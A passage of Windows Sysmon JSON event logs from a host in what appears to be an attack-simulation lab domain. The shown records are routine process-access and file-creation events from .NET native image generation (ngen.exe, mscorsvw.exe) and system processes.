AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:04.229\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42BC-5F2D-0000-0010E2540D00}\r\nTargetProcessId: 3340\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:04.229","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42BC-5F2D-0000-0010E2540D00}","TargetProcessId":"3340","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7397,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:04.244\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42BC-5F2D-0000-0010E2540D00}\r\nTargetProcessId: 3340\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:04.244","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42BC-5F2D-0000-0010E2540D00}","TargetProcessId":"3340","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7398,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:04.322\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B8-5F2D-0000-0010A0FF0C00}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:04.322","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B8-5F2D-0000-0010A0FF0C00}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7399,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:04.322\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B8-5F2D-0000-0010A0FF0C00}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:04.322","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B8-5F2D-0000-0010A0FF0C00}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7400,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:04.322\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B8-5F2D-0000-0010A0FF0C00}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:04.322","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B8-5F2D-0000-0010A0FF0C00}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7401,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:04.588\r\nProcessGuid: {90617006-42BC-5F2D-0000-00109F580D00}\r\nProcessId: 3768\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\eb8-0\\PresentationFramework.Royale.dll\r\nCreationUtcTime: 2020-08-07 12:02:04.588","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:04.588","ProcessGuid":"{90617006-42BC-5F2D-0000-00109F580D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\eb8-0\\PresentationFramework.Royale.dll","CreationUtcTime":"2020-08-07 12:02:04.588","EventReceivedTime":"2020-08-07 12:02:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7402,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:04.635\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B8-5F2D-0000-001019030D00}\r\nTargetProcessId: 4684\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:04.635","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B8-5F2D-0000-001019030D00}","TargetProcessId":"4684","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7403,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:04.635\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B8-5F2D-0000-001019030D00}\r\nTargetProcessId: 4684\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:04.635","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B8-5F2D-0000-001019030D00}","TargetProcessId":"4684","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7404,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:04.651\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42BC-5F2D-0000-00106B5D0D00}\r\nTargetProcessId: 4684\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:04.651","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42BC-5F2D-0000-00106B5D0D00}","TargetProcessId":"4684","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7405,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:04.791\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4297-5F2D-0000-001059880A00}\r\nTargetProcessId: 3360\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: 